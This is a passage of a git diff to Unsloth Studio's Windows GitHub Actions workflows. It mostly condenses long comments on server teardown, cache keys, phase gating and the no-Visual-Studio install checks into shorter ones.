- # Kill by listening port rather than by PID: STUDIO_PID comes from
- # bash's `$!`, which is an MSYS pid that taskkill/Stop-Process cannot
- # resolve to the real Windows process. pwsh keeps us off Git Bash, and
- # every failure is swallowed so teardown can never fail the job.
- #
- # The command-line sweep after it is not redundant. An Unsloth that hangs
- # during startup never binds the port -- the health wait exists for
- # exactly that case -- so the port lookup finds no owner and would leave
- # the process alive to collide with the next phase. The match is scoped
- # to a command line naming both `unsloth` and `studio`, so it cannot
- # reach the runner's own python from actions/setup-python.
+ # pwsh, not Git Bash (it exits 143 from kill/sleep blocks). Kill by listening port, since
+ # $! is an MSYS pid, then by command line for a server that never bound its port.
+ # Failures are swallowed so teardown never fails the job.
shell: pwsh
run: |
$ErrorActionPreference = 'SilentlyContinue'
@@ -608,15 +435,10 @@ jobs:
- name: Collect llama-server logs
if: always()
- # A transient Windows DLL-init crash (0xC0000142) in this diagnostic
- # copy must not fail an otherwise-green job.
+ # A transient DLL-init crash (0xC0000142) in this diagnostic copy must not fail the job.
continue-on-error: true
shell: bash
- # Copy llama-server's own stdout/stderr (teed by Unsloth under
- # ~/.unsloth/studio/logs/llama-server/) into the workspace so
- # upload-artifact can pick it up. Crucial for diagnosing a
- # subprocess crash where Unsloth's traceback only shows the
- # symptom (httpx ReadError) but not the cause.
+ # Copy llama-server's own logs; the backend traceback only shows the symptom.
run: |
mkdir -p logs/llama-server
cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || \
@@ -636,13 +458,10 @@ jobs:
retention-days: 7
# ─────────────────────────────────────────────────────────────────────
- # Job 2: Tool calling Tests
# ─────────────────────────────────────────────────────────────────────
- name: Phase 2 environment (tool calling)
- # Same gate as the rest of this phase. Without it the step rides the
- # implicit success(), so a phase 1 TEST failure would skip it while the
- # gated steps below still ran -- and they would then inherit the previous
- # phase's model, port and HF_HOME.
+ # Without this gate the step would ride success() while gated steps ran with the
+ # previous phase's model, port and HF_HOME.
if: ${{ !cancelled() && steps.shim.outcome == 'success' }}
run: |
echo "GGUF_REPO=unsloth/Qwen3.5-2B-GGUF" >> "$GITHUB_ENV"
@@ -650,21 +469,8 @@ jobs:
echo "STUDIO_PORT=18898" >> "$GITHUB_ENV"
echo "HF_HOME=${{ github.workspace }}/hf-cache-tools" >> "$GITHUB_ENV"
- # Cross-OS shared entry with the Linux tool-calling job in
- # studio-inference-smoke.yml: same repo, same file, same flat
- # --local-dir payload, byte-identical on all three runners. The key
- # therefore carries no `runner.os`, and enableCrossOsArchive is what
- # lets Windows -- which tars with --force-local -- join it.
- #
- # The suffix is bumped v2 -> v3 because the Linux side moves its
- # directory to gguf-cache-tools in the same commit, and that is not
- # cosmetic: actions/cache identifies an entry by key AND a version hash
- # derived from the `path` input, while key uniqueness is global per ref.
- # Move the path without bumping the key and the restore misses on
- # version while the save is refused with "Unable to reserve cache with
- # key ... another job may be creating this cache" -- measured on staging
- # during the Mac consolidation: two consecutive runs both logged "Cache
- # not found for input keys" and both failed to save.
+ # Cross-OS key shared with the Linux tool-calling job. Bump the suffix whenever `path`
+ # changes: actions/cache versions entries by path, and a moved path misses and fails to save.
- name: Restore GGUF model cache
if: ${{ !cancelled() && steps.shim.outcome == 'success' }}
id: cache-gguf-tools
@@ -699,12 +505,7 @@ jobs:
- name: Reset auth + boot Unsloth (API-only, default tool policy)
id: boot-tools
- # Phase-local prerequisite on top of the shared gate. The phase stays
- # independent of EARLIER phases, which is what the shared assert-prebuilt
- # gate buys, but it is not independent of its own download: without this
- # clause a failed download still boots a server with no model and runs
- # the test against it, burning Windows runner minutes and burying the
- # real error under a pile of connection failures.
+ # Do not boot a server when this phase's own download failed.
if: ${{ !cancelled() && steps.shim.outcome == 'success' && steps.download-gguf-tools.outcome != 'failure' }}
timeout-minutes: 2
run: |
@@ -737,16 +538,9 @@ jobs:
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
- # GITHUB_WORKSPACE on windows-latest is a Windows path with
- # backslashes ("D:\a\unsloth\unsloth"). Bash handles it as a
- # raw string, but we cannot embed `\a` etc. in JSON without
- # JSON-string-escaping every backslash. Replace `\` with `/`
- # via bash parameter expansion -- pathlib.Path on Windows
- # accepts forward slashes natively, so Unsloth's loader sees
- # a normal path.
+ # Use forward slashes so the path embeds in JSON; pathlib accepts them on Windows.
GGUF_PATH="${GITHUB_WORKSPACE//\\//}/gguf-cache-tools/${GGUF_FILE}"
ls -lh "$GGUF_PATH"
- # Retry: same rationale as the OpenAI/Anthropic job.
LOAD_OK=0
for attempt in 1 2 3; do
HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
@@ -1049,28 +843,9 @@ jobs:
- name: Stop Unsloth
if: always()
- # NOT via Git Bash: bash on windows-latest has been observed to exit
- # 143 (SIGTERM) from any inline kill/sleep block, masking a green test
- # run (#5460, #5462). That is why this used to be a cmd no-op relying
- # on the runner to reclaim the process at job end.
- #
- # That reliance was only safe while each phase was its OWN job. In one
- # job the phase 1 server would stay alive through phases 2 and 3,
- # holding its model resident and, worse, still owning
- # ~/.unsloth/studio/auth while the next phase wipes and re-seeds that
- # directory to get a fresh bootstrap password.
- #
- # Kill by listening port rather than by PID: STUDIO_PID comes from
- # bash's `$!`, which is an MSYS pid that taskkill/Stop-Process cannot
- # resolve to the real Windows process. pwsh keeps us off Git Bash, and
- # every failure is swallowed so teardown can never fail the job.
- #
- # The command-line sweep after it is not redundant. An Unsloth that hangs
- # during startup never binds the port -- the health wait exists for
- # exactly that case -- so the port lookup finds no owner and would leave
- # the process alive to collide with the next phase. The match is scoped
- # to a command line naming both `unsloth` and `studio`, so it cannot
- # reach the runner's own python from actions/setup-python.
+ # pwsh, not Git Bash (it exits 143 from kill/sleep blocks). Kill by listening port, since
+ # $! is an MSYS pid, then by command line for a server that never bound its port.
+ # Failures are swallowed so teardown never fails the job.
shell: pwsh
run: |
$ErrorActionPreference = 'SilentlyContinue'
@@ -1104,15 +879,10 @@ jobs:
- name: Collect llama-server logs
if: always()
- # A transient Windows DLL-init crash (0xC0000142) in this diagnostic
- # copy must not fail an otherwise-green job.
+ # A transient DLL-init crash (0xC0000142) in this diagnostic copy must not fail the job.
continue-on-error: true
shell: bash
- # Copy llama-server's own stdout/stderr (teed by Unsloth under
- # ~/.unsloth/studio/logs/llama-server/) into the workspace so
- # upload-artifact can pick it up. Crucial for diagnosing a
- # subprocess crash where Unsloth's traceback only shows the
- # symptom (httpx ReadError) but not the cause.
+ # Copy llama-server's own logs; the backend traceback only shows the symptom.
run: |
mkdir -p logs/llama-server
cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || \
@@ -1132,13 +902,10 @@ jobs:
retention-days: 7
# ─────────────────────────────────────────────────────────────────────
- # Job 3: JSON, images
# ─────────────────────────────────────────────────────────────────────
- name: Phase 3 environment (JSON + vision)
- # Same gate as the rest of this phase. Without it the step rides the
- # implicit success(), so a phase 1 TEST failure would skip it while the
- # gated steps below still ran -- and they would then inherit the previous
- # phase's model, port and HF_HOME.
+ # Without this gate the step would ride success() while gated steps ran with the
+ # previous phase's model, port and HF_HOME.
if: ${{ !cancelled() && steps.shim.outcome == 'success' && steps.sdks.outcome == 'success' }}
run: |
echo "GGUF_REPO=unsloth/Qwen3-VL-2B-Instruct-GGUF" >> "$GITHUB_ENV"
@@ -1148,9 +915,7 @@ jobs:
echo "STUDIO_PORT=18899" >> "$GITHUB_ENV"
echo "HF_HOME=${{ github.workspace }}/hf-cache-vision" >> "$GITHUB_ENV"
- # Key suffix bumped v2 -> v3 with the hf-cache -> hf-cache-vision rename,
- # for the same reason as the tool-phase cache above: same key + different
- # `path` means a permanent restore miss and a refused save.
+ # Suffix bumped with the path rename: same key + different `path` never restores.
- name: Restore HF_HOME cache for unsloth/Qwen3-VL-2B-Instruct-GGUF (model + mmproj)
if: ${{ !cancelled() && steps.shim.outcome == 'success' && steps.sdks.outcome == 'success' }}
id: cache-hf-vision
@@ -1185,7 +950,6 @@ jobs:
- name: Reset auth + boot Unsloth (API-only)
id: boot-vision
- # Same phase-local prerequisite as phase 2, for the same reason.
if: ${{ !cancelled() && steps.shim.outcome == 'success' && steps.sdks.outcome == 'success' && steps.prime-hf-vision.outcome != 'failure' }}
timeout-minutes: 2
run: |
@@ -1218,7 +982,6 @@ jobs:
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
- # Retry: same rationale as the OpenAI/Anthropic and Tool calling jobs.
LOAD_OK=0
for attempt in 1 2 3; do
HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
@@ -1438,28 +1201,9 @@ jobs:
- name: Stop Unsloth
if: always()
- # NOT via Git Bash: bash on windows-latest has been observed to exit
- # 143 (SIGTERM) from any inline kill/sleep block, masking a green test
- # run (#5460, #5462). That is why this used to be a cmd no-op relying
- # on the runner to reclaim the process at job end.
- #
- # That reliance was only safe while each phase was its OWN job. In one
- # job the phase 1 server would stay alive through phases 2 and 3,
- # holding its model resident and, worse, still owning
- # ~/.unsloth/studio/auth while the next phase wipes and re-seeds that
- # directory to get a fresh bootstrap password.
- #
- # Kill by listening port rather than by PID: STUDIO_PID comes from
- # bash's `$!`, which is an MSYS pid that taskkill/Stop-Process cannot
- # resolve to the real Windows process. pwsh keeps us off Git Bash, and
- # every failure is swallowed so teardown can never fail the job.
- #
- # The command-line sweep after it is not redundant. An Unsloth that hangs
- # during startup never binds the port -- the health wait exists for
- # exactly that case -- so the port lookup finds no owner and would leave
- # the process alive to collide with the next phase. The match is scoped
- # to a command line naming both `unsloth` and `studio`, so it cannot
- # reach the runner's own python from actions/setup-python.
+ # pwsh, not Git Bash (it exits 143 from kill/sleep blocks). Kill by listening port, since
+ # $! is an MSYS pid, then by command line for a server that never bound its port.
+ # Failures are swallowed so teardown never fails the job.
shell: pwsh
run: |
$ErrorActionPreference = 'SilentlyContinue'
@@ -1493,15 +1237,10 @@ jobs:
- name: Collect llama-server logs
if: always()
- # A transient Windows DLL-init crash (0xC0000142) in this diagnostic
- # copy must not fail an otherwise-green job.
+ # A transient DLL-init crash (0xC0000142) in this diagnostic copy must not fail the job.
continue-on-error: true
shell: bash
- # Copy llama-server's own stdout/stderr (teed by Unsloth under
- # ~/.unsloth/studio/logs/llama-server/) into the workspace so
- # upload-artifact can pick it up. Crucial for diagnosing a
- # subprocess crash where Unsloth's traceback only shows the
- # symptom (httpx ReadError) but not the cause.
+ # Copy llama-server's own logs; the backend traceback only shows the symptom.
run: |
mkdir -p logs/llama-server
cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || \
@@ -1521,6 +1260,7 @@ jobs:
retention-days: 7
# ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ──
+ # Folded in from studio-windows-no-vs-smoke.yml: install and run with no Visual Studio.
no-vs-cpu:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Unsloth install + inference without Visual Studio
@@ -1550,9 +1290,7 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -1617,8 +1355,7 @@ jobs:
}
}
}
- # Normalized comparison so registry spellings (trailing slash,
- # unexpanded %VAR%) still match.
+ # Normalized so registry spellings (trailing slash, unexpanded %VAR%) still match.
function Test-Blocked([string]$p) {
$n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
return $blocked.Contains($n)
@@ -1628,9 +1365,7 @@ jobs:
Where-Object { $_ -and -not (Test-Blocked $_) }
$noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
- # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
- # rebuild the session Path from these scopes mid-install, so filter
- # them too. Originals are saved for the cleanup step.
+ # The installers rebuild the session Path from these scopes, so filter them too.
foreach ($scope in @('Machine', 'User')) {
$orig = [Environment]::GetEnvironmentVariable('Path', $scope)
if (-not $orig) { continue }
@@ -1659,8 +1394,7 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
- # Set in-script: the runner does not apply step-level env keys with
- # parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
+ # Set in-script: step-level env keys with parentheses (`ProgramFiles(x86)`) are not applied.
if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
@@ -1689,27 +1423,14 @@ jobs:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
- # Set in-script (see the assert step); child processes inherit these.
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
$env:Path = $env:NO_BUILD_TOOLS_PATH
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # Child process, so install.ps1's own lines reach logs/install.log
- # (see the shared install step above). The $env: overrides set
- # immediately above are environment variables, so the child inherits
- # them; $ProgressPreference is a preference variable and does not,
- # which is why this passes -Command rather than -File.
+ # Child process so output reaches the log; -Command because $ProgressPreference is not
+ # inherited.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced and the readers of it are unaffected.
- #
- # install.ps1 and studio/setup.ps1 are deliberately untouched. This is a
- # display filter over a stream the step already pipes, so there is no
- # switch for the installer to interpret and no way for a real user's
- # install to behave differently from this one. The install costs 268-292s
- # here against 88s for the same install on Linux, and nothing in its
- # output says where that goes.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
$sw = [System.Diagnostics.Stopwatch]::StartNew()
pwsh -NoProfile -ExecutionPolicy Bypass -Command $child 2>&1 |
Tee-Object -FilePath logs/install.log |
@@ -1833,29 +1554,10 @@ jobs:
retention-days: 7
# ─────────────────────────────────────────────────────────────────────
- # Job B: the GPU (CUDA) prebuilt path is also VS-free (resolve/availability)
# ─────────────────────────────────────────────────────────────────────
# ── One box per Windows IMAGE, instead of one box per check ──────────────
- # These were six separate Windows job-runs (pester, no-vs-gpu-resolve, and the
- # two cells each of vs-integration and vcredist-clean-box) whose EXECUTION times
- # are 16-34s. Measured over recent main runs, every Windows job in this repo
- # waits 2600-3400s in the queue before it starts, whatever it then does: the
- # VS 2022 detection cell averages 16s of execution behind 2606s of queueing.
- # On Windows the scarce resource is the slot, not the minute, so six slots
- # delivering 155s of total work is the expensive part -- and the queue those
- # slots create is what Chat UI Tests (1108s exec, 3164s queue) waits in.
- #
- # Grouped by runner image, because the image IS the thing under test and a
- # check must never move off the platform it validates. windows-2022 keeps its
- # own box for VS 2022 detection; windows-2025-vs2026 keeps its own for VS 2026.
- # Six job-runs become three, and no check changes what it runs on.
- #
- # Ordering inside a box is load-bearing: the VC++ round-trip literally
- # uninstalls the runtime and restores the registry in a `finally`, so it runs
- # LAST everywhere. The phases before it install a PowerShell module and pip
- # packages and build a simulated no-build-tools tree under the workspace; none
- # of them writes the VC++ registry keys the round-trip reads as ground truth,
- # so its clean-box precondition still holds when it starts.
+ # One job per Windows image (the image is what is tested), to save scarce Windows slots.
+ # The VC++ round-trip uninstalls the runtime, so it runs LAST in each box.
small-checks:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: ${{ matrix.name }}
@@ -1879,13 +1581,10 @@ jobs:
expectGen: 'Visual Studio 17 2022'
expectToolset: 'v170'
runs-on: ${{ matrix.os }}
- # 15 + 15 + 20 as three jobs. They share one checkout now and the phases are
- # tens of seconds each; 30 bounds a hang without hiding one.
timeout-minutes: 30
defaults:
run:
- # One step in the no-VS resolve phase relies on this default. Every other
- # step below declares its own shell.
+ # One step in the no-VS resolve phase relies on this default.
shell: bash
env:
PYTHONIOENCODING: utf-8
@@ -1895,8 +1594,6 @@ jobs:
with:
persist-credentials: false
- # Needed by the pester and no-VS resolve phases only; the detection and
- # round-trip phases are pure PowerShell against the runner image.
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
if: ${{ contains(matrix.phases, ' pester ') || contains(matrix.phases, ' no-vs-gpu ') }}
with:
@@ -1916,7 +1613,6 @@ jobs:
. ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn)))
}
- # Ground truth from the real vswhere (independent of our code), for visibility.
$vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vsw) {
$year = (& $vsw -latest -property catalog_productLineVersion 2>$null | Select-Object -First 1)
@@ -1926,7 +1622,6 @@ jobs:
Write-Host "vswhere not present at $vsw (relying on filesystem fallback)"
}
- # Our detection must find the real VS and report the expected generator.
$r = Find-VsBuildTools
if (-not $r) { throw "Find-VsBuildTools returned null on a host with real $env:EXPECT_GEN" }
Write-Host "Find-VsBuildTools -> Generator='$($r.Generator)' Source='$($r.Source)' InstallPath='$($r.InstallPath)'"
@@ -1935,7 +1630,6 @@ jobs:
}
if (-not (Test-Path $r.InstallPath)) { throw "Detected InstallPath does not exist: $($r.InstallPath)" }
- # Toolset path derivation must match the expected v-number...
$bc = Get-VcBuildCustomizationsDir -VsInstallPath $r.InstallPath -Generator $r.Generator
$derived = Split-Path (Split-Path $bc -Parent) -Leaf # e.g. v170 / v180
Write-Host "Get-VcBuildCustomizationsDir -> '$bc' (toolset='$derived')"
@@ -1943,8 +1637,6 @@ jobs:
throw "Toolset mismatch: derived '$derived', expected '$env:EXPECT_TOOLSET'"
}
- # ...and that v-number is a real folder on the VS install (where CUDA's
- # BuildCustomizations would land).
$vcRoot = Join-Path $r.InstallPath 'MSBuild\Microsoft\VC'
if (Test-Path $vcRoot) {
$realToolsets = @((Get-ChildItem -Path $vcRoot -Directory -ErrorAction SilentlyContinue).Name)
@@ -1983,14 +1675,9 @@ jobs:
Select-Object -First 1
}
- # The runner image ships Pester 5.x, so only reach for the network when it
- # does not already satisfy the minimum.
$installed = Get-InstalledPester
if (-not $installed) {
- # PSResourceGet talks to PSGallery over HTTPS directly. The legacy
- # PackageManagement path bootstraps nuget.exe, which intermittently fails on
- # GitHub's Windows runners with "NuGet.Commands.CommandException: Missing
- # option value for: '-source'", leaving PSGallery unregistered.
+ # Prefer PSResourceGet: the legacy path's nuget.exe bootstrap flakes on runners.
$hasPSResourceGet = [bool](Get-Command Install-PSResource -ErrorAction SilentlyContinue)
$usePSResourceGet = $hasPSResourceGet
@@ -2003,8 +1690,7 @@ jobs:
Install-PSResource -Name $moduleName -Version "[$minimum,)" `
-Repository PSGallery -TrustRepository -Scope CurrentUser
} else {
- # Never silence this: a swallowed failure here is what made the next
- # line die with "No repository with the name 'PSGallery' was found."
+ # Never silence this: a swallowed failure leaves PSGallery unregistered.
if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
Register-PSRepository -Default
}
@@ -2019,9 +1705,7 @@ jobs:
} catch {
Write-Host "::warning::$moduleName install attempt $attempt/3 failed: $($_.Exception.Message)"
if ($attempt -eq 3) { throw }
- # The two clients fail independently: PSGallery has served 500s to
- # PSResourceGet while Install-Module kept working. Swap after a
- # failure rather than retrying the same client three times.
+ # The two clients fail independently, so alternate between them on retry.
if ($hasPSResourceGet) { $usePSResourceGet = -not $usePSResourceGet }
Start-Sleep -Seconds (5 * $attempt)
}
@@ -2106,10 +1790,7 @@ jobs:
echo "$ASSETS" | grep -iE 'windows-x64-cuda[0-9]' || {
echo "::error::no Windows x64 CUDA prebuilt asset found in unslothai/llama.cpp latest release"
echo "$ASSETS"; exit 1; }
- # AMD parity: hosted runners have no AMD GPU, so the resolver step below
- # can't exercise the ROCm path (it resolves to CPU). Pin the per-gfx
- # Windows ROCm bundles here so a release that drops them fails loudly --
- # the AMD no-VS guarantee otherwise rides only on shared resolver code.
+ # No AMD GPU on hosted runners, so pin the Windows ROCm bundles' presence here.
echo "$ASSETS" | grep -iE 'windows-x64-rocm-gfx' || {
echo "::error::no Windows x64 ROCm (per-gfx) prebuilt asset found in unslothai/llama.cpp latest release"
echo "$ASSETS"; exit 1; }
@@ -2122,13 +1803,11 @@ jobs:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
$ErrorActionPreference = 'Stop'
- # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
- # python child inherits the overrides.
+ # pwsh: bash cannot export `ProgramFiles(x86)`.
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
$env:Path = $env:NO_BUILD_TOOLS_PATH
- # Resolver-only (no GPU on hosted runners, so the host resolves to the
- # CPU bundle). The point is that resolution needs no compiler/VS.
+ # Resolver-only: the point is that resolution needs no compiler.
python -m pip install --upgrade huggingface_hub
if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
@@ -2147,6 +1826,7 @@ jobs:
Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
# ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
+ # setup.ps1 unit tests, real-VS detection and vcredist round-trip.
- name: Detect present, fire on a clean box, and round-trip the install
if: ${{ !cancelled() && contains(matrix.phases, ' vcredist ') }}
@@ -2155,14 +1835,9 @@ jobs:
$ErrorActionPreference = 'Stop'
. (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
- # Dot-source the guard + the logging closure it reaches
- # (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi, and
- # Ensure-VCRedist -> Write-StudioLine).
$script:StudioVtOk = $false
$script:UnslothVerbose = $false
- # Get-HostMachineArch is reached only on the absent path, where
- # Test-VCRedistInstalled consults it before trusting the System32 DLL, so
- # part A passes without it and only the clean-box part fails.
+ # Get-HostMachineArch is only reached on the absent path, so only the clean-box part needs it.
foreach ($fn in @('Get-StudioAnsi', 'Write-StudioLine', 'Write-StudioStdoutMirror',
'step', 'substep',
'Invoke-SetupCommand', 'Refresh-Environment', 'Get-HostMachineArch',
@@ -2219,11 +1894,7 @@ jobs:
if (-not (Test-VCRedistInstalled)) { throw 'Detection did not recover after restoring the registry (test restore bug).' }
Write-Host '== C. Literal uninstall on this throwaway VM (official installer), observe detection =='
- # aka.ms redirects to a CDN that intermittently cuts the response mid
- # body ("The response ended prematurely"), which failed this job twice
- # in one day. Retry with backoff, and require a plausible size so a
- # truncated download is caught here rather than as a mystery exit code
- # from Start-Process below.
+ # aka.ms CDN can truncate the response; retry and require a plausible size.
$exe = Join-Path $env:RUNNER_TEMP 'vc_redist.x64.exe'
$vcUrl = 'https://aka.ms/vs/17/release/vc_redist.x64.exe'
$got = $false
diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml
index dde8c472c57..812dd384acc 100644
--- a/.github/workflows/studio-windows-ui-smoke.yml
+++ b/.github/workflows/studio-windows-ui-smoke.yml
@@ -1,12 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Windows counterpart to studio-ui-smoke.yml / studio-mac-ui-smoke.yml.
-# Same Playwright + Chromium end-to-end chat UI flow + extra UI flow,
-# but on the FREE windows-latest runner so we catch Windows-specific
-# regressions in the install path (install.ps1), the Unsloth CLI's
-# Windows process-management branches, and the llama.cpp prebuilt's
-# Windows HTTP layer.
+# Windows counterpart to studio-ui-smoke.yml.
name: Windows Unsloth UI CI
@@ -16,14 +11,11 @@ on:
# one ready has to start the run that tests it.
types: [opened, synchronize, reopened, ready_for_review]
paths:
- # The two halves the lanes drive, the backend and the React bundle, plus the
- # Windows installer chain and the CLI. Not unsloth/** or studio/src-tauri: the
- # install is --no-torch and never builds the Tauri shell.
+ # Not unsloth/** or studio/src-tauri: the install is --no-torch.
- 'studio/backend/**'
- 'studio/frontend/**'
- 'studio/setup.ps1'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
@@ -34,29 +26,17 @@ on:
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- 'pyproject.toml'
- # The Playwright drivers the two lanes run.
- # The files under tests/studio the lanes execute, not all of it (hundreds of guard
- # tests and PowerShell units no step here runs). run-studio-ui-lane.sh and the
- # browser scripts run tests/studio/playwright_*.py as plain python, whose only
- # local import is _playwright_robust.py.
+ # Only the tests/studio files the lanes execute.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/scripts/run-studio-indicator-browser.sh'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-windows-ui-smoke.yml'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- '.github/scripts/run-studio-ui-lane.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # And for the GGUF download that primes HF_HOME.
- '.github/scripts/hf-download-with-retry.sh'
push:
branches: [main]
@@ -75,10 +55,7 @@ on:
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
- 'pyproject.toml'
- # The files under tests/studio the lanes execute, not all of it (hundreds of guard
- # tests and PowerShell units no step here runs). run-studio-ui-lane.sh and the
- # browser scripts run tests/studio/playwright_*.py as plain python, whose only
- # local import is _playwright_robust.py.
+ # Only the tests/studio files the lanes execute.
- 'tests/studio/playwright_*.py'
- 'tests/studio/_playwright_robust.py'
- '.github/scripts/run-studio-permission-browser.sh'
@@ -107,10 +84,7 @@ jobs:
name: Chat UI Tests
runs-on: windows-latest
timeout-minutes: 45
- # Default every step's shell to Git Bash. windows-latest's default
- # shell is pwsh; without this each curl / heredoc / `kill $PID`
- # step would need its own `shell: bash`. Steps that genuinely
- # need PowerShell (install.ps1 invocation) override per-step.
+ # Default to Git Bash; PowerShell steps override per step.
defaults:
run:
shell: bash
@@ -118,16 +92,9 @@ jobs:
GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
GGUF_VARIANT: UD-Q4_K_XL
GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
- # No STUDIO_PORT here any more. One job-wide port was the right shape when
- # one server ran at a time; the lanes each need their own, so the port now
- # belongs beside the lane that owns it in run-studio-ui-lane.sh. Leaving a
- # job-wide knob that nothing reads only invites a future step to set it and
- # expect the lanes to follow.
+ # No job-wide STUDIO_PORT: each lane owns its port in run-studio-ui-lane.sh.
HF_HOME: ${{ github.workspace }}/hf-cache
- # Force UTF-8 for stdio so Python tools (hf download, Unsloth
- # CLI, etc.) can print Unicode characters like the success
- # checkmark "✓". Windows defaults to cp1252 / charmap and
- # any tool that prints "OK ✓" hits a UnicodeEncodeError.
+ # Windows defaults to cp1252 and the tools print a non-ASCII checkmark.
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
steps:
@@ -138,25 +105,15 @@ jobs:
- uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
with:
node-version: '22'
- # No `cache: 'npm'`. setup-node's npm cache restore silently
- # aborts the entire job on Windows runners when the npm cache
- # path (`C:\npm\cache` per `npm config get cache`) doesn't yet
- # exist on a fresh runner -- the step exits without an error
- # message and every following step gets skipped. See
- # npm/cli#7308. The frontend `npm ci` is fast enough without
- # the cache that the reliability gain is worth the ~30s.
+ # No `cache: 'npm'`: setup-node's restore silently aborts the job on Windows when the npm
+ # cache path does not exist (npm/cli#7308).
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # No `cache: 'pip'`. install.ps1 / setup.ps1 use uv and
- # never populate ~/.cache/pip; setup-python's post-step
- # then fatal-errors with "Cache folder path is retrieved
- # for pip but doesn't exist on disk".
+ # No `cache: 'pip'`: the installers use uv, and setup-python's post-step would fail.
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
